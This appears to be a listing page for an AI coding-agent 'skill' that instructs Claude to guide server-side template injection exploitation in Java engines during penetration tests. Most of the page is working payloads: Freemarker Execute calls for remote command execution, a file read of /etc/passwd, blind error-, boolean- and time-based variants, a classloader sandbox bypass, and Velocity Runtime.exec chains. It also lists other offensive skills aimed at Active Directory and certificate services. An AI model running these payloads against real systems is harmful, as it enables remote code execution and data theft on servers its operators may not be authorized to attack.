acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide Freemarker/Java server-side template injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill ssti-freemarker --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/ssti-freemarkerContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide Freemarker/Java server-side template injection exploitation during authorized penetration testing.
name: ssti-freemarker
description: >
Guide Freemarker/Java server-side template injection exploitation during
authorized penetration testing.
keywords:
- Freemarker SSTI
- Java template injection
- Velocity SSTI
- Thymeleaf SSTI
- Pebble SSTI
- Spring EL injection
- SpEL injection
- Java EL injection
- Expression Language injection
- Groovy SSTI
- ${7*7} returns 49 in Java
- Jinjava SSTI
- HubL injection
tools:
- burpsuite
- sstimap
- tplmap
opsec: mediumYou are helping a penetration tester exploit server-side template injection in a Java application. The target uses Freemarker, Velocity, Thymeleaf, Pebble, Spring Expression Language (SpEL), Groovy, or Java EL and processes attacker-controlled input through the template/expression engine without proper sanitization. The goal is to escalate from expression evaluation to remote code execution or file access. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
`{{7*7}}` returns `49` in a Java context
`~{ }`, `[= ]`, `[[ ]]` — test all if one fails
or PHP (Twig), not Java
If not already provided, determine: 1. **Framework** — Spring Boot, Struts, JSF, XWiki, HubSpot, or custom 2. **Template engine** — Freemarker, Velocity, Thymeleaf, Pebble, SpEL, Groovy, Java EL 3. **Injection point** — URL param, form field, error page, PDF/email template 4. **Expression syntax** — which delimiters work? (`${}`, `#{}`, `*{}`, `[=]`)
Skip if context was already provided.
Inject `(1/0).zxy.zxy` inside template tags. The error reveals the language:
| Error | Engine | |---|---| | `java.lang.ArithmeticException` | Java EL / SpEL | | `Arithmetic operation failed` | Freemarker | | No error, but `0` returned | Velocity (silently handles division) |
| Payload | Result | Engine | |---|---|---| | `${7*7}` → `49` | Freemarker, SpEL, Java EL, Groovy | | `#{7*7}` → `49` | Freemarker (legacy), Thymeleaf, Java EL | | `[=7*7]` → `49` | Freemarker (alternative syntax, >= 2.3.4) | | `*{7*7}` → `49` | Spring/Thymeleaf | | `[[${7*7}]]` → `49` | Thymeleaf (expression inlining) | | `${7*'7'}` → nothing/error | Freemarker (doesn't do string repetition) | | `${foobar}` → empty | Freemarker (undefined vars return empty) | | `{{ someString.toUpperCase() }}` → works | Pebble | | `{{'a'.toUpperCase()}}` → `A` | Jinjava / HubL |
${"freemarker.template.utility.Execute"?new()("id")}If this returns command output, the engine is Freemarker with no sandbox.
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}Alternative syntax variants:
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}Convert the returned byte values to ASCII.
# Error-Based
${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()}
# Boolean-Based
${1/(("freemarker.template.utility.Execute"?new()("id && echo UniqueString"))?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval}
# Time-Based
${"freemarker.template.utility.Execute"?new()("id && sleep 5")}<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#endSecurity assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…